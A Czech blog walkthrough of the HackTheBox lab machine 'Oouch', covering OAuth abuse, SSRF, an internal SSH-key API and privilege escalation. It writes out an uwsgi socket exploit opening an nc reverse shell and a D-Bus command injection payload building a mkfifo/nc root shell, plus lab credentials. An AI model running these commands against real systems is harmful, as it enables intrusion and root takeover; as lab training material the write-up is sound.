tom@home.htb:~$

Blog o HTB

24 December 2020

Oouch

Úvod a kontext

Oouch je dlouhý aplikační řetězec, kde se kombinuje OAuth a zneužití autorizačního toku, SSRF, reverse proxy a localhost trust assumptions, interní API a později i dockerová síť, uwsgi a D-Bus. Zvenku působí jako běžná webová aplikace, ale ve skutečnosti jde o několik spolupracujících komponent: Flask consumer na 5000/tcp, Django authorization server na 8000/tcp a další interní kontejnery.

Na tomhle stroji je potřeba držet architekturu v hlavě od začátku. Kdo nevnímá rozdíl mezi consumerem, authorization serverem a interní docker sítí, snadno se v něm ztratí a jednotlivé kroky pak vypadají jako nesouvisející náhody.

Počáteční průzkum

FTP prozradí architekturu

Vedle SSH a dvou webových portů je hned na začátku dostupné anonymní FTP. Soubor project.txt v něm vydá důležitou informaci: Flask -> Consumer a Django -> Authorization Server. Tím se výrazně zpřesní model aplikace ještě dřív, než člověk začne útočit na OAuth tok.

Samotný protokol a typické první scénáře kolem anonymous přístupu shrnuji i v článku FTP.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
21/tcp   open  ftp
22/tcp   open  ssh
5000/tcp open  http    nginx 1.14.2
8000/tcp open  rtsp
project.txt:
Flask -> Consumer
Django -> Authorization Server

Consumer aplikace a OAuth workflow

Enumerace webu na 5000/tcp ukáže standardní cesty jako /login, /register, /oauth, /documents a /contact. To potvrzuje, že consumer deleguje autorizaci jinam a zároveň má vlastní funkcionalitu pro práci s dokumenty a kontaktním formulářem.

Pro podobné rychlé mapování cest se v praxi hodí Dirsearch, zvlášť když je potřeba odlišit veřejný consumer od odděleného authorization serveru.

./dirsearch/dirsearch.py -u http://$IP:5000 -e php -x 403 -r
/login
/register
/oauth
/documents
/contact

Analýza zjištění

První zlom: OAuth code přes SSRF

Na Oouch se vyplatí číst OAuth endpoints jako útočnou plochu, ne jen jako autentizační detaily. Přes /oauth šlo získat autorizační code a kontaktní mechanizmus se dal zneužít jako SSRF, takže server navštívil předanou URL jménem administrátora.

Právě tím vznikl první důležitý artefakt: OAuth code vydaný v privilegovaném kontextu.

Developer credentials a registrace vlastní aplikace

Další zásadní stopa je v /documents, kde se objeví přístupové údaje develop:supermegasecureklarabubu123!. Ty otevřou další možnosti na authorization serveru, hlavně registraci vlastní OAuth aplikace a následné zneužití SSRF k získání administrátorské sessionid.

Jakmile je k dispozici session administrátora, dá se vytvořit aplikace s grantem client_credentials, vydat si token a sáhnout do interního API.

curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "grant_type=client_credentials&client_id=aMQDcsyUjT0Kz0JOAPDTYSKQJptnaz8MZ5j6TjaV&client_secret=__CENSORED__" -L -s
{"access_token": "JxUkNjpfM5i5ZvlqifDHvo7kzFyJOo", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}

Tenhle token už stačí na interní endpoint, který vrátí SSH přístup pro qtc.

http://authorization.oouch.htb:8000/api/get_ssh/?access_token=__CENSORED__
=> {"ssh_server": "consumer.oouch.htb", "ssh_user": "qtc", "ssh_key": "-----BEGIN OPENSSH PRIVATE KEY----- ..."}

Získání přístupu

SSH jako qtc

Po přepsání vráceného klíče do souboru už jde udělat přímé SSH na consumer.oouch.htb jako qtc. To je první skutečný shell mimo webové rozhraní.

ssh -i Oouch_qtc_id_rsa qtc@consumer.oouch.htb
cat user.txt
__CENSORED__

Uživatelský účet zároveň odhalí další důležitý kontext: .note.txt zmiňuje D-Bus a iptables, takže se potvrzuje, že ochranná logika aplikace neběží jen v Pythonu, ale zasahuje i do systémové sběrnice.

Pivot do interní sítě

ARP cache ukáže další hosty v dockerové síti a stejný klíč dovolí přejít i na 172.18.0.2. Tam už je možné číst config.py a routes.py, které prozradí dva zásadní detaily: aplikace používá /tmp/uwsgi.socket a při blokování klientů volá D-Bus metodu htb.oouch.Block.Block.

To je přesně ten moment, kdy se naplno projeví pattern popsaný v článku Lokálně dostupné služby po footholdu: localhost není boundary: po prvním shellu najednou rozhodují interní kontejnery, sockety a služby, které zvenku vůbec nebyly vidět.

Eskalace oprávnění

uwsgi a command injection v D-Bus blokátoru

Interní host s uwsgi socketem dovolí první pivot uvnitř dockerové sítě. Po úpravě veřejného PoC pro uwsgi jde přes /tmp/uwsgi.socket spustit příkaz a otevřít si shell v kontejnerech, které zvenku nejsou dosažitelné.

python uwsgi_exp.py -m unix -u /tmp/uwsgi.socket -c "/tmp/nc -e /bin/bash 172.18.0.1 4000"

To ale ještě není konec. V kódu aplikace je vidět, že „ochrana proti hackerům“ předává IP adresu do D-Bus služby htb.oouch.Block. Pokud se této metodě pošle řetězec místo čisté IP, skončí to command injection a příkaz se provede s vysokými právy.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;rm /tmp/.0; mkfifo /tmp/.0; cat /tmp/.0 | /bin/bash -i 2>&1 | nc 172.18.0.1 4001 >/tmp/.0;"

Výsledkem je root shell a tím i přístup k root.txt.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: xss - rce - ssh - php - exploit - enumeration